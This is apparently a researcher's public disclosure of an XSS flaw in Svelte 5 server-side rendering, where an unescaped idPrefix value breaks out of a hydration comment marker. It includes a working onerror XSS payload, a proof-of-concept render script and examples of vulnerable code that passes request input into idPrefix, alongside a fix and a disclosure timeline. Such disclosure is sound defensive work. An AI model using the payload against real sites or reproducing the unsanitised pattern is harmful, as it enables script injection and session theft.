Background
I’ve been working through Vercel’s bug bounty program, which explicitly calls out server-side rendering and compiler security as focus areas. Svelte is a Tier 1 target in that program, and since Svelte 5 introduced a significant rework of how components are compiled and rendered server-side, it seemed like fertile ground for a security review.
Rather than reading through the entire codebase manually, I used Claude Code with Bitwarden’s AI Security Plugins loaded. The plugins give Claude a structured security review workflow, identifying attack surfaces, tracing data flows from sources to sinks, and mapping findings to CWE identifiers, which makes the process significantly more systematic than ad-hoc manual review.
How the Review Started
I pointed Claude at the Svelte monorepo and asked it to map out the SSR attack surface. The plugin’s workflow starts with identifying entry points, so the first pass looked at:
- How the public
render()API processes its options - How the compiler transforms
$props.id()rune usage into SSR output - Where HTML is emitted as raw strings vs. where
escape_html()is called
Within the first pass, Claude flagged an interesting asymmetry: the idPrefix option
passed to render() was being used in two different code paths, one that applied HTML
escaping, and one that did not.
The Vulnerability
What $props.id() Is
Svelte 5 introduced a rune called $props.id() that generates a stable, unique ID for
each component instance. Its primary use is for ARIA accessibility patterns, linking a
<label> to an <input> by sharing an ID:
<script>
let id = $props.id();
</script>
<label for={id}>Search</label>
<input {id} type="search" />
This is common in accessible form components, modals, tooltips, comboboxes, and component libraries that target WCAG compliance (shadcn-svelte, bits-ui, melt-ui, etc.).
What idPrefix Is
When rendering components server-side, you can namespace the generated IDs to avoid collisions across concurrent renders:
import { render } from 'svelte/server';
const { body } = render(MyComponent, {
idPrefix: 'req-a1b2c3' // scopes all IDs to this prefix
});
This generates IDs like req-a1b2c3-s1, req-a1b2c3-s2, and so on.
How Svelte Uses idPrefix Internally
For hydration to work, where the server-rendered HTML is taken over by client-side JavaScript, Svelte embeds the generated ID into an HTML comment marker so the browser runtime can recover it:
// packages/svelte/src/internal/server/index.js:457-460
export function props_id(renderer) {
const uid = renderer.global.uid(); // uid = `${idPrefix}-s1`
renderer.push('<!--$' + uid + '-->'); // written directly into SSR output
return uid;
}
The uid is constructed from idPrefix with no sanitization applied:
// packages/svelte/src/internal/server/renderer.js:764
const id_prefix = options.idPrefix ? options.idPrefix + '-' : '';
// packages/svelte/src/internal/server/renderer.js:905
this.uid = () => `${id_prefix}s${uid++}`;
The False Sense of Safety
When the id value is used in HTML attributes, Svelte correctly wraps it in escape():
// Compiler output for <label for={id}> and <input {id}>
$$renderer.push(
`<label for="${escape(id)}">Search</label>` +
`<input id="${escape(id)}" type="search"/>`
);
But the hydration comment marker, written before the template, uses plain string concatenation:
renderer.push('<!--$' + uid + '-->'); // no escape(), uid contains idPrefix verbatim
Same value. Two code paths. Only one sanitized.
The Injection
If idPrefix contains -->, it closes the HTML comment immediately and anything
after it is emitted as raw HTML into the page body.
Given the payload:
-->injected<img src=x onerror=alert(document.domain)><!--
The string operations produce:
| Step | Code | Result |
|---|---|---|
| 1 | idPrefix + '-' (renderer.js:764) | -->injected<img…><!--- |
| 2 | `${id_prefix}s${n++}` (renderer.js:905) | -->injected<img…><!---s1 |
| 3 | '<!--$' + uid + '-->' (index.js:459) | <!--$-->injected<img src=x onerror=alert(document.domain)><!---s1--> |
The browser parses that final string as:
| Fragment | Parsed as |
|---|---|
<!--$--> | Comment node, closed immediately by --> in the payload |
injected | Text node |
<img src=x onerror=alert(document.domain)> | IMG element, JavaScript executes |
<!---s1--> | Comment node, absorbs the remainder |
Proof of Concept
CLI Confirmation
import { render } from 'svelte/server';
import { props_id, escape } from 'svelte/internal/server';
// Equivalent to a Svelte 5 component using $props.id()
function SearchInput($$renderer, $$props) {
const id = props_id($$renderer);
$$renderer.push(
`<label for="${escape(id)}">Search</label>` +
`<input id="${escape(id)}" type="search"/>`
);
}
const payload = '-->injected<img src=x onerror=alert(document.domain)><!--';
const { body } = render(SearchInput, { idPrefix: payload });
console.log(body);
// <!--[--><!--$-->injected<img src=x onerror=alert(document.domain)><!---s1-->...<!--]-->
Browser PoC
A minimal HTTP server that reads idPrefix from the ?ns= query parameter and serves
the rendered output as a full HTML page:

alert(document.domain) firing in the browser when the payload is passed as ?ns=
The benign URL /?ns=safe-prefix renders normally. The payload URL fires
alert(document.domain) immediately on page load, demonstrating full origin-level
JavaScript execution.
Scope and Impact
Who Is Affected
The vulnerable pattern requires two conditions to be true simultaneously:
The component uses
$props.id(), common in any accessible component (form inputs, modals, tooltips, comboboxes, tabs). Widespread in component libraries.idPrefixis derived from user-controlled input, not the default in SvelteKit, which generates a random per-request prefix. However, applications may derive it from URL parameters, request headers, or route slugs for deterministic IDs, namespacing, or debugging.
// Vulnerable patterns
render(App, { idPrefix: new URL(req.url).searchParams.get('ns') });
render(App, { idPrefix: req.headers.get('x-render-prefix') });
render(App, { idPrefix: params.slug });
SvelteKit Is Not Directly Affected
I checked SvelteKit’s server runtime (packages/kit/src/runtime/server/page/render.js)
and confirmed it does not pass idPrefix to render() at all, only context and
csp are passed. SvelteKit applications are therefore not affected by default.
The defect is in Svelte’s framework code. Exploitation requires a developer to wire
user input to the idPrefix option directly.
The Fix
The correct fix is to validate idPrefix at the point of use in renderer.js, before
id_prefix is constructed. Since the value ends up inside an HTML comment, only
characters that are safe in that context should be permitted:
// packages/svelte/src/internal/server/renderer.js (~line 764)
if (options.idPrefix != null) {
if (!/^[a-zA-Z0-9_-]+$/.test(options.idPrefix)) {
throw new Error(
`Svelte: idPrefix must only contain alphanumeric characters, hyphens, ` +
`and underscores. Received: ${JSON.stringify(options.idPrefix)}`
);
}
}
const id_prefix = options.idPrefix ? options.idPrefix + '-' : '';
Throwing a descriptive error is preferable to silent sanitization, consistent with
how Svelte already handles invalid option combinations (e.g., the invalid_csp error
thrown when csp.nonce and csp.hash are both set), and it surfaces developer mistakes
at render time rather than allowing injectable HTML to silently reach users.
CVSS 4.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
| Metric | Value | Rationale |
|---|---|---|
| AV | N | Attacker sends a crafted HTTP request |
| AC | L | Once prerequisites are met, attack is trivial, with no timing, race conditions, or reconnaissance required |
| AT | P | Non-default deployment prerequisite: app must pass user-controlled data as idPrefix to render() |
| PR | N | No authentication required |
| UI | P | Victim must load the affected page; onerror fires automatically, no deliberate action needed |
| VC/VI/VA | N/N/N | XSS executes in the browser; server confidentiality, integrity, and availability are unaffected |
| SC | L | Cookie/token theft and page content reading possible; conservative given unknown application context |
| SI | L | Page content modification and authenticated requests on behalf of victim |
| SA | N | N/A |
Score: 2.3 (Low), the mechanical score reflects the non-default prerequisite (AT:P). The practical impact in applications that handle authenticated sessions is higher than the number suggests; full session theft and arbitrary authenticated action execution are achievable outcomes once the prerequisite is met.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-02-27 | Vulnerability discovered during source code review |
| 2026-02-27 | Report submitted to Vercel via HackerOne |
| 2026-03-10 | Vendor response asking for real-world usage and vulnerability |
| 2026-03-10 | Reply submitted to vendor, identifying vulnerable libraries in production |
| 2026-03-23 | Vendor closed issue as Informative, due to no real-world impact |
| 2026-03-23 | Public disclosure |
Takeaways
For developers using Svelte’s render() directly: treat idPrefix like any other
value that ends up in HTML, and don’t derive it from user input without strict validation.
Until a patched version is available, validate that idPrefix contains only
alphanumeric characters, hyphens, and underscores before passing it to render().
For the tooling: the Bitwarden security plugin’s structured workflow, particularly the “trace data flows from sources to sinks” step, is what surfaced this. The asymmetry between the escaped attribute path and the unescaped comment path isn’t obvious from reading the code in isolation; it only becomes visible when you’re explicitly asking “where does this value land, and is it escaped there?”
